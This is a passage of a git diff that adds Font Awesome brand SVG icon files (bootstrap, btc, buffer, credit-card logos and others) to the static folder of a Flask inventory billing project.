127.4-127.5-83.9-88.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bootstrap.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bootstrap.svg new file mode 100644 index 00000000..c8d05828 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/bootstrap.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/btc.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/btc.svg new file mode 100644 index 00000000..d5bbccb4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/btc.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buffer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buffer.svg new file mode 100644 index 00000000..c71bd312 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buffer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z" class="a"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buromobelexperte.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buromobelexperte.svg new file mode 100644 index 00000000..dcffc7f2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buromobelexperte.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buy-n-large.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buy-n-large.svg new file mode 100644 index 00000000..1ef19788 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buy-n-large.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buysellads.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buysellads.svg new file mode 100644 index 00000000..653ff448 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/buysellads.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/canadian-maple-leaf.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/canadian-maple-leaf.svg new file mode 100644 index 00000000..87017d6d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/canadian-maple-leaf.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-amazon-pay.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-amazon-pay.svg new file mode 100644 index 00000000..2d4047d0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-amazon-pay.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-amex.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-amex.svg new file mode 100644 index 00000000..61d6165d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-amex.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-apple-pay.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-apple-pay.svg new file mode 100644 index 00000000..b419c8b4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-apple-pay.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-diners-club.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-diners-club.svg new file mode 100644 index 00000000..c3f457b6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-diners-club.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-discover.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-discover.svg new file mode 100644 index 00000000..51bc9bd6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-discover.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 